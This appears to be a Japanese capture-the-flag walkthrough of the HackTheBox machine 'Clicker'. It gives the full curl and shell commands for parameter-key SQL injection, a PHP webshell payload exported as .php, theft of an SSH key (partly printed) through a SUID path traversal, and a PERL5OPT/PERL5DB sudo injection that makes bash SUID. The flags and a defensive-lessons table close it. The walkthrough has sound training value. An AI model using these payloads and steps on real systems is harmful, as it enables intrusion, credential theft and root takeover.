HackTheBox: Clicker — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/111/2049
→
22/80/111/2049
NFS匿名マウント
/mnt/backups → 全ソース入手
→
/mnt/backups → 全ソース入手
パラメータ名汚染SQLi
role=’Admin’ 昇格
→
role=’Admin’ 昇格
Export拡張子未検証
nickname注入 → .php書出し
→
nickname注入 → .php書出し
webshell RCE
www-data
→
www-data
SUID execute_query
パストラバーサルで鍵窃取
→
パストラバーサルで鍵窃取
jack シェル取得
user.txt ✓
→
user.txt ✓
PERL5OPT/PERL5DB
sudo monitor.sh 注入
→
sudo monitor.sh 注入
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -sV -sC -p 22,80,111,2049 10.129.48.138
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 80/tcp open http Apache httpd 2.4.52 111/tcp open rpcbind 2-4 2049/tcp open nfs 3-4
ℹ️
111/rpcbind + 2049/nfs の組み合わせが最初の手掛かり。
80/tcp は vhost clicker.htb でしか正しいコンテンツを返さないため、
/etc/hosts への追記が必要。
NFS エクスポート確認
BASH
showmount -e 10.129.48.138
RESULT
Export list for 10.129.48.138:
/mnt/backups *
🚨
/mnt/backups が 誰でも (*) マウント可能。
認証なしで読み書きできる公開バックアップ共有であり、これが最初の攻撃面になる。
PHASE 2
NFS経由のソースコード漏洩 & コードレビュー
バックアップの取得と展開
BASH
mkdir /mnt/backups_local mount -t nfs -o nolock 10.129.48.138:/mnt/backups /mnt/backups_local ls /mnt/backups_local
RESULT
clicker.htb_backup.zip
BASH
unzip -q /mnt/backups_local/clicker.htb_backup.zip -d ./clicker_src find ./clicker_src -iname "*.php"
RESULT
admin.php authenticate.php create_player.php db_utils.php diagnostic.php export.php index.php info.php login.php logout.php play.php profile.php register.php save_game.php
✅
Webアプリ「Clicker」(クリック稼ぎゲーム)の 全ソースが認証なしで入手できた。
以降の脆弱性はすべてこのソース解析から発見する。
重要発見①: register.php はダミー、実処理は create_player.php
RESULT (register.php 抜粋)
<form name="registration_form" action="create_player.php" method="post">
<input name='username'>
<input type="password" name='password'>
</form>
RESULT (create_player.php)
if (isset($_POST['username']) && isset($_POST['password']) && ...) {
if (! ctype_alnum($_POST["username"])) { ... }
elseif(check_exists($_POST['username'])) { ... }
else {
create_new_player($_POST['username'], $_POST['password']);
header('Location: /index.php?msg=Successfully registered');
}
}
⚠️
register.php は フォームを表示するだけで $_POST を
一切扱わない。ここに直接 POST しても何も起きない — 必ず
create_player.php に送る必要がある(見落としやすい罠)。
重要発見②: db_utils.php の save_profile() — キー名を無検証で連結
RESULT (db_utils.php 抜粋)
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt->execute($params);
}
🚨
致命的な設計ミス: UPDATE 文の 値 ($value) は
PDO::quote() でエスケープされるが、キー名 ($key、つまり
GETパラメータの「名前」そのもの) はエスケープなしでSQL文へ直接連結される。
パラメータ名自体をSQLとして注入できる。
重要発見③: save_game.php の role ブロックとexport.phpの拡張子未検証
RESULT (save_game.php 抜粋)
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') { // 文字列完全一致のみブロック
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
RESULT (export.php 抜粋)
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
file_put_contents($filename, $s); // extension の値は一切検証されない
🚨
role というキー名そのものが完全一致でなければブロックを回避できる
(キー名の一部に role を含ませればよい)。また Export 機能は
extension パラメータの値を検証しないため、.php として
任意内容のファイルを書き出させることができる。
PHASE 3
パラメータ名(キー)汚染SQLi → role=’Admin’ 昇格
アカウント登録 & ログイン
BASH
curl -s --resolve clicker.htb:80:10.129.48.138 -c cookies.txt -b cookies.txt \
--data-urlencode "username=kcragent2" --data-urlencode "password=KcRagent2#2024!" \
http://clicker.htb/create_player.php -D - -o /dev/null
curl -s --resolve clicker.htb:80:10.129.48.138 -c cookies.txt -b cookies.txt -L \
--data-urlencode "username=kcragent2" --data-urlencode "password=KcRagent2#2024!" \
http://clicker.htb/authenticate.php | grep Welcome
RESULT
Location: /index.php?msg=Successfully registered
<h1 >Welcome, kcragent2</h1>
パラメータ名汚染ペイロードの構造
NOTE
PHPのクエリ文字列パース順序: 1. 生のクエリ文字列を "&" で分割 2. 各要素を「最初に現れる生の "=" 」で key/value に分割 3. key と value を それぞれ個別に urldecode 送信URL: save_game.php?clicks%3d4,role%3d'Admin',clicks=4&level=0 解析手順: ① "&" で分割 → ["clicks%3d4,role%3d'Admin',clicks=4", "level=0"] ② 要素1を最初の生"="で分割 → key_raw="clicks%3d4,role%3d'Admin',clicks", value="4" ③ key_raw を urlすると (%3d → "=") → key = clicks=4,role='Admin',clicks → $_GET は次の2要素になる: $_GET["clicks=4,role='Admin',clicks"] = "4" $_GET["level"] = "0" save_profile() がこれをそのままSET句へ連結すると: UPDATE players SET clicks=4,role='Admin',clicks='4',level='0' WHERE username=:player ~~~~~~~~~~~~~~~~~~~~~~~~~~ "role" という単独キーではないため save_game.php のブロックを回避
Admin昇格の実行
BASH
curl -s --resolve clicker.htb:80:10.129.48.138 -b cookies.txt -c cookies.txt \
"http://clicker.htb/save_game.php?clicks%3d4,role%3d'Admin',clicks=4&level=0"
# role の変更をセッションへ反映させるため再ログイン
curl -s --resolve clicker.htb:80:10.129.48.138 -b cookies.txt -c cookies.txt -L \
--data-urlencode "username=kcragent2" --data-urlencode "password=KcRagent2#2024!" \
http://clicker.htb/authenticate.php | grep -i administration
RESULT
<a class="nav-link ..." href="/admin.php">Administration</a>
✅
role=’Admin’ への昇格成功。 ナビゲーションに Administration リンクが出現し、
admin.php(Export機能を含む管理パネル)へアクセス可能になった。
PHASE 4
nickname注入 + Export .php書き出し → RCE → user.txt
nickname へ PHP ペイロードを注入
BASH
ENC="%3C%3Fphp%20system%28%24_REQUEST%5B%27cmd%27%5D%29%3B%20%3F%3E"
# ↑ URLエンコードした
curl -s --resolve clicker.htb:80:10.129.48.138 -b cookies.txt -c cookies.txt \
"http://clicker.htb/save_game.php?clicks=8&level=0&nickname=$ENC"
ℹ️
nickname は role のような単独キーブロックが無いため、素直に GET パラメータとして
渡すだけで
save_profile() 経由で DB の nickname 列に書き込める。
Export 機能で .php として書き出し
BASH
curl -s --resolve clicker.htb:80:10.129.48.138 -b cookies.txt -L \
--data-urlencode "threshold=0" --data-urlencode "extension=php" \
http://clicker.htb/export.php | grep -oE "exports/top_players_[A-Za-z0-9_]+\.php"
RESULT
exports/top_players_5p4d3hxv.php
⚠️
ハマりどころ:
export.php は本文を返さず
302 Location: /admin.php?msg=Data has been saved in exports/... へ
リダイレクトするだけ。admin.php が $_GET['msg'] をそのまま
画面にエコーして初めてファイル名が見える仕組みのため、curl -L で
リダイレクトに追従しないとファイル名を一切取得できない。
webshell 動作確認
BASH
curl -s --resolve clicker.htb:80:10.129.48.138 \
"http://clicker.htb/exports/top_players_5p4d3hxv.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE 成功。 export.php の「else」分岐(txt/json以外は常にHTML化)が
nickname の生PHPコードをそのまま HTML テーブルへ埋め込み、
.php として
保存されているため PHP エンジンがそのまま実行する。以降は毎回この URL に
?cmd= を付けるだけで任意コマンド実行できる(対話シェルは不要)。
SUID execute_query のパストラバーサルで jack のSSH鍵を窃取
BASH (webshell経由で SUID バイナリを探索)
?cmd=find / -perm -u=s -type f 2>/dev/null
RESULT
... (標準的なSUIDバイナリ群に混じって) ...
/opt/manage/execute_query
BASH
curl -s --resolve clicker.htb:80:10.129.48.138 -G \
--data-urlencode "cmd=/opt/manage/execute_query 6 ../.ssh/id_rsa" \
"http://clicker.htb/exports/top_players_5p4d3hxv.php"
RESULT (装飾枠付きで出力される、抜粋)
--------------
-----BEGIN OPENSSH PRIVATE KEY--- ← 末尾ダッシュが2文字欠ける表示グセ
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...(中略)...
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY---
--------------
🚨
execute_query は setreuid() の実装が甘く通常のアクセス制御を
すり抜けられるSUIDバイナリ。第2引数にディレクトリトラバーサル
(../.ssh/id_rsa) を渡すと /home/jack/.ssh/id_rsa の内容が
そのまま表示される。注意点: 表示枠の BEGIN/END マーカー行は
末尾ダッシュが2文字欠けて出力される表示上のクセがある
(-----BEGIN OPENSSH PRIVATE KEY----- の最後の2つの-が消える)ため、
鍵ファイルを再構成する際は本文だけ抜き出し標準の5ダッシュ形式で組み直す必要がある。
SSH ログイン & user.txt 取得
BASH
# BEGIN/END行を標準の5ダッシュ形式に直してから保存 chmod 600 jack_id_rsa ssh -i jack_id_rsa jack@10.129.48.138 "id; cat /home/jack/user.txt"
RESULT
uid=1000(jack) gid=1000(jack) groups=1000(jack),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
03ae77624c3d11ca0f3d1a39c49fd4fd
user.txt — jack
03ae77624c3d11ca0f3d1a39c49fd4fd
PHASE 5
権限昇格の下調べ — sudo NOPASSWD /opt/monitor.sh
sudo -l で許可コマンドを確認
BASH
ssh -i jack_id_rsa jack@10.129.48.138 "sudo -l"
RESULT
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass, secure_path=..., use_pty
User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
ℹ️
(ALL:ALL) ALL は jack が sudo グループに所属しているために
表示されるが、jack のログインパスワードを知らないため実行にはパスワードが要る
(SSH鍵しか持っていない)。一方 /opt/monitor.sh は
NOPASSWD かつ SETENV 付きで実行できる —
SETENV は「環境変数を持ち込んだまま sudo できる」権限であり、これが今回の突破口。
monitor.sh の中身と xml_pp (Perl) の呼び出し
BASH
ssh -i jack_id_rsa jack@10.129.48.138 "cat /opt/monitor.sh"
RESULT (抜粋)
#!/bin/bash unset PERL5LIB unset PERLLIB ... xml_pp -x someinput.xml # Perl 製の XML pretty-printer を呼び出す
🚨
スクリプトは
PERL5LIB/PERLLIB は明示的に unset しているが、
Perl デバッガを起動する PERL5OPT/PERL5DB という
別の環境変数の存在を見落としている。SETENV 権限があるので、
これらを注入したまま sudo 実行すれば、root 権限で動く Perl プロセスに
任意コードを実行させられる。
PHASE 6
PERL5OPT/PERL5DB 環境変数インジェクション → root.txt
Perl デバッガ経由のコード実行トリガー
BASH
ssh -i jack_id_rsa jack@10.129.48.138 \ "sudo PERL5OPT=-d PERL5DB='exec \"chmod u+s /bin/bash\"' /opt/monitor.sh"
RESULT
Statement unlikely to be reached at /usr/bin/xml_pp line 9. (Maybe you meant system() when you said exec()?)
ℹ️
PERL5OPT=-d は Perl インタプリタに「デバッガモードで起動」を指示し、
PERL5DB はデバッガの初期化コードとして評価される Perl 式を指定する。
xml_pp が root 権限(sudo経由)で起動された瞬間、デバッガ初期化時に
exec "chmod u+s /bin/bash" が root として実行され、
/bin/bash に SUID ビットが付与される。警告メッセージが出ているが、
コマンド自体は正常に実行されている。
SUID bash で root シェルを取得 & root.txt
BASH
ssh -i jack_id_rsa jack@10.129.48.138 "ls -la /bin/bash" ssh -i jack_id_rsa jack@10.129.48.138 "bash -p -c 'id; cat /root/root.txt'"
RESULT
-rwsr-xr-x 1 root root 1396520 Jan 6 2022 /bin/bash
^ SUID ビット (s) が付与済み
uid=1000(jack) gid=1000(jack) euid=0(root) groups=1000(jack),...
e7273ed64edd27afc22cd5e27e81b412
root.txt — root@clicker
e7273ed64edd27afc22cd5e27e81b412
✅
権限昇格成功。
bash -p(-p は SUID/SGID
ビットが立っていても実効権限を保持したまま起動するオプション)で euid=0 のシェルを取得し、
root.txt を読み取れた。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — jack
03ae77624c3d11ca0f3d1a39c49fd4fd
root.txt — root@clicker
e7273ed64edd27afc22cd5e27e81b412
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| NFS 匿名アクセス | /mnt/backups (誰でもマウント可) | Webアプリ全ソース漏洩 | High | showmount+mountで認証なしバックアップzipを取得し、DB接続処理・フィルタ実装を丸ごと解析 |
| パラメータ名(キー)汚染SQLi | save_game.php → db_utils.php save_profile() | 権限昇格 (role=’Admin’) | Critical | GETパラメータの値ではなく「キー名」自体に=とSQL片を仕込み、role単独キーの完全一致ブロックを回避してUPDATE文を汚染 |
| Export拡張子未検証によるRCE | export.php ($_POST[“extension”]) | リモートコード実行 (as www-data) | Critical | nicknameにPHPペイロードを注入し、Export機能でextension=phpとして未サニタイズのまま.phpファイルへ書き出させ実行 |
| SUIDバイナリのパストラバーサル | /opt/manage/execute_query | 任意ファイル読取 (SSH秘密鍵窃取) | High | setreuid()実装不備でアクセス制御を回避でき、第2引数のディレクトリトラバーサルでjackのid_rsaを読取 |
| PERL5OPT/PERL5DB 環境変数インジェクション | sudo (root) SETENV: NOPASSWD: /opt/monitor.sh | 権限昇格 (root) | Critical | PERL5LIB/PERLLIBのみunsetしPERL5OPT/PERL5DBを見落としているスクリプトに対し、Perlデバッガのコード実行機能でSUID bashを作成 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap バージョンスキャン + showmount | 22/80/111/2049、/mnt/backupsが誰でもマウント可能と判明 |
| 2 | NFSソース漏洩 | NFSマウント + zip展開 + コードレビュー | db_utils.php/save_game.php/export.phpの脆弱性コードを特定 |
| 3 | Admin昇格 | パラメータ名汚染SQLi (キー側に%3d注入) | role=’Admin’昇格、Export管理機能への到達 |
| 4 | RCE+鍵窃取 | nickname注入→Export(.php)+SUID execute_query | user.txt 取得(jack SSH鍵経由) |
| 5 | 権限調査 | sudo -l + monitor.sh解析 | SETENV NOPASSWD monitor.sh、PERL5OPT見落としを確認 |
| 6 | 権限昇格 | PERL5OPT/PERL5DB環境変数インジェクション | root.txt 取得(SUID bash経由) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
NFSエクスポートが全ホスト (*) にマウント許可されている |
NFSエクスポートは /etc/exports でIPアドレス/サブネット単位に厳格に制限する。バックアップ用途であれば専用ホストのみに限定する。 |
| SQL文組み立て時に値だけでなくキー名も動的に決定される設計 | UPDATE対象のカラム名はホワイトリスト方式で固定の許可リストと突き合わせ、ユーザー入力由来のキー文字列をそのままSQLへ連結しない。 |
危険なキー名の判定が完全一致 (===) のみで部分文字列を考慮していない |
禁止キーワードのブロックリスト方式ではなく、許可するキーのホワイトリスト方式に切り替える。 |
| ファイルアップロード/エクスポート機能が拡張子を検証していない | 出力ファイルの拡張子は固定の許可リスト (txt/json/html等) に限定し、ユーザー入力をそのまま拡張子に使わない。エクスポート先ディレクトリはWebから実行不可能な設定にする。 |
| SUIDバイナリの実装不備 (setreuid失敗) でアクセス制御が機能していない | SUIDバイナリのシステムコール戻り値は必ずチェックし、失敗時は即座に終了する。可能な限りSUIDの使用自体を避け、sudoの限定的な許可ルールに置き換える。 |
| sudoersのSETENV設定が環境変数インジェクションの経路になっている | SETENVは真に必要な場合のみ使用し、env_resetを前提に許可する環境変数をenv_keep等で明示的に絞り込む。Perl等インタプリタ系コマンドをrootでsudo実行する場合は特に PERL5OPT/PERL5DB/PYTHONSTARTUP等の危険な環境変数に注意する。 |

